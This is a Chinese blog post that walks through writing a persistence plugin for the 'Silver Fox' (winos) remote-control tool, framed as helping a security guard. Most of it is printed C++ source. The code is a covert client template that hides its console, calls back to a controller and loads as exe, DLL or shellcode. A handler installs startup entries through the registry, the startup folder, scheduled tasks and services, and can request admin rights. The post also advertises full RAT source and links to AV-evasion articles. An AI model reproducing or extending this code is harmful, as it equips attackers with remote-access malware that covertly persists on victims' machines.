乐于分享
好东西不私藏

银狐如何扩展一个标准插件

银狐如何扩展一个标准插件

特别申明:

本文介绍的内容仅做技术上的交流,请勿使用本文介绍的技术做其他用途,违者与本号无关。

最近和小区的保安大叔闲聊,他说他每天需要在夜里骑个自行车去机房挨个看监控,我说给最近在搞一个远控软件,可以远程看,于是我给他演示了一下winos的屏幕墙效果。

大叔看到后觉得效果挺好,于是我花了一下午给他挨个安装了一下,当然我这个版本后门全部去掉了,并做了很多优化,稳定性和安全不用担心。

但是大叔再用了两天,和我反馈说,问题只解决了一般,机器重启后,被控程序需要手动启动,太繁琐了。于是我又花了一天写了个自启动插件,这样把被控添加到自启动中,下次开机就能自启动了。

这是我给winos扩展的第一个插件,很多搞安全的同学也想知道如何给winos扩展自己的插件。winos在扩展性方面做的很好,目前支持两类插件,一种是标准插件,一种是扩展插件,标准插件就类似于远程聊天和远程屏幕这种,扩展插件加载后出现在被控列表右键菜单“扩展插件”菜单项中,从代码逻辑上来说,标准插件要比扩展插件复杂,功能更强大。

那如何扩展一个标准插件呢?

首先你要搞清楚winos的插件加载机制,如果你不熟悉这个流程,可以看这篇文章

我这里以扩展一个自启动插件为例,在 主插件.sln 中新增一个VS工程,设置工程的x86和x64的输出目录。

然后新建的一个 xyz.cpp 文件(xyz换成你的功能名即可),这个文件放程序入口逻辑,为了同时支持exe、dll和shellcode,需要定义如下名称的接口:

// 启动管理.cpp//#include "stdafx.h"#include "StartupManager.h"struct plugInfo{    char    mark[30];      //标记    TCHAR   szAddress[255];     //ip    DWORD   szPort;             //端口    BOOL    IsTcp;    BOOL    RunDllEntryProc;} MyInfo ={"plugmark",    _T("127.0.0.1"),    6669,    1,    0,};HANDLE hThread = NULL;DWORD WINAPI MainThread(LPVOID dllMainThread){    ISocketBase* socketClient;if (MyInfo.IsTcp == 1)        socketClient = new CTcpSocket();else        socketClient = new CUdpSocket();if (socketClient->Connect(MyInfo.szAddress, MyInfo.szPort))    {        // 这里放你的插件功能逻辑类        CStartupManager manager(socketClient);        socketClient->run_event_loop();    }    SAFE_DELETE(socketClient);if (MyInfo.RunDllEntryProc)        ExitProcess(0);return 0;}#ifndef _WINDLL// 如果你想exe调试功能,写一下WinMain函数的实现,但是要使用宏与下面的dll相关的函数互斥int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE, LPSTR szCmdLine, int iCmdShow){    SetUnhandledExceptionFilter(ExceptionFilter);    // 让启动程序时的小漏斗马上消失    ShowWindow(GetConsoleWindow(), SW_HIDE);    PostThreadMessageA(GetCurrentThreadId(), NULL, 0, 0);    GetInputState();    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程    WaitForSingleObject(hThread, INFINITE);    CloseHandle(hThread);    Sleep(300);return 0;}#endif// 这些是模版,照抄即可,支持dll和shellcode运行BOOL APIENTRY DllMain(HMODULE hModule,    DWORD  ul_reason_for_call,    LPVOID lpReserved){    switch (ul_reason_for_call)    {case DLL_PROCESS_ATTACH:    {#ifdef _DEBUG        // debug版本为了便于调试,会从本地磁盘加载对应的dll文件,然后调用该dll的导出函数run#elseif (MyInfo.RunDllEntryProc && (hThread == NULL))        {            hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程            WaitForSingleObject(hThread, INFINITE);        }#endif    }break;case DLL_THREAD_ATTACH:case DLL_THREAD_DETACH:case DLL_PROCESS_DETACH:break;    }return TRUE;}// 这些是模版,照抄即可,支持dll和shellcode运行extern "C" __declspec(dllexport) bool Main(TCHAR * ip, DWORD port, BOOL IsTcp, BOOL RunDllEntryProc){    _tcscpy_s(MyInfo.szAddress, ip);    MyInfo.szPort = port;    MyInfo.IsTcp = IsTcp;    MyInfo.RunDllEntryProc = RunDllEntryProc;    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程    WaitForSingleObject(hThread, INFINITE);    Sleep(300);return 0;}// 这些是模版,照抄即可,支持dll和shellcode运行extern "C" __declspec(dllexport) bool run(){    HANDLE hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)MainThread, 0, 0, 0); //启动线程    WaitForSingleObject(hThread, INFINITE);    Sleep(300);return 0;}

上述代码中:

CStartupManager manager(socketClient);

即是我们的插件的功能,CStartupManager类要继承CManager,且必须改写void OnReceive(LPBYTE lpBuffer, UINT nSize)方法,在这个方法中,处理主控给我们发的命令:

class CStartupManager : public CManager{public:    CStartupManager(ISocketBase* pClient);    virtual ~CStartupManager();    virtual void OnReceive(LPBYTE lpBuffer, UINT nSize);private:    void SendStartupStatus();    void OnHandleStartupResponse(int8_t cmd, bool enable, bool success);    void OnHandleRunAsAdmin();    bool IsStartupItemExistsInRegistry();    bool IsStartupItemExistsInStartupFolder();    bool IsScheduledTaskExists();    bool IsServiceExists();    /**     * @param: add true,添加至注册表启动,false,删除注册表启动     */    bool SetRegistryStart(bool add);    bool AddOrDeleteService(bool add);    bool CopyOrRemoveFromStartupDir(bool add);    // 可以通过taskschd.msc查看    bool AddScheduledTask();    bool RemoveScheduledTask();private:    BOOL    m_buser;};

我这里需要处理添加开机启动项等逻辑:

void CStartupManager::OnReceive(LPBYTE lpBuffer, UINT nSize){if (lpBuffer[0] == TOKEN_HEARTBEAT)return;    switch (lpBuffer[0])    {case COMMAND_STARTUP_STATUS_REQUEST:        // 发送启动状态        SendStartupStatus();break;case COMMAND_STARTUP_REGISTRY_REQUEST:    {        StartupRequest startupRequest;        memcpy(&startupRequest, lpBuffer, sizeof(startupRequest));        bool success = SetRegistryStart(startupRequest.enable);        OnHandleStartupResponse(COMMAND_STARTUP_REGISTRY_RESPONSE, startupRequest.enable, success);    }break;case COMMAND_STARTUP_FOLDER_REQUEST:    {        StartupRequest startupRequest;        memcpy(&startupRequest, lpBuffer, sizeof(startupRequest));        bool success = CopyOrRemoveFromStartupDir(startupRequest.enable);        OnHandleStartupResponse(COMMAND_STARTUP_FOLDER_RESPONSE, startupRequest.enable, success);    }break;case COMMAND_STARTUP_SCHEDULED_TASK_REQUEST:    {        StartupRequest startupRequest;        memcpy(&startupRequest, lpBuffer, sizeof(startupRequest));        bool success;if (startupRequest.enable)            success = AddScheduledTask();else            success = RemoveScheduledTask();        OnHandleStartupResponse(COMMAND_STARTUP_SCHEDULED_TASK_RESPONSE, startupRequest.enable, success);    }break;case COMMAND_STARTUP_SERVICE_REQUEST:    {        StartupRequest startupRequest;        memcpy(&startupRequest, lpBuffer, sizeof(startupRequest));        bool success = AddOrDeleteService(startupRequest.enable);        OnHandleStartupResponse(COMMAND_STARTUP_SERVICE_RESPONSE, startupRequest.enable, success);    }break;case COMMAND_STARTUP_RUNASADMIN_REQUEST:    {        OnHandleRunAsAdmin();    }break;    default:break;    }}

最后效果如下:

这样,大叔的问题就解决了。

源码获取

如果对银狐(winos)有兴趣,可以通过下面的方式获取全套源码:

关注后回复【winos】即可获取源码

推荐阅读

银狐远控问题排查与修复——Viusal Studio集成Google Address Sanitizer排查内存问题
银狐远控代码中差异屏幕bug修复
银狐远程屏幕内存优化方法探究
银狐远程软件bug修复记录 第03篇

银狐远程软件 UDP 断线无法重连的bug排查和修复

银狐远程软件代理映射功能优化思路分享

银狐远程软件去后门方法

银狐远控一键编译调试与开发教程

银狐远控免杀与shellcode修复思路分析 01

银狐ShellCode混淆怪招

银狐远程桌面优化思路分享(一)——借鉴VNC的远程屏幕实现

打造一款自制EDR

【安全研究】银狐远控远程屏幕使用场景和优化建议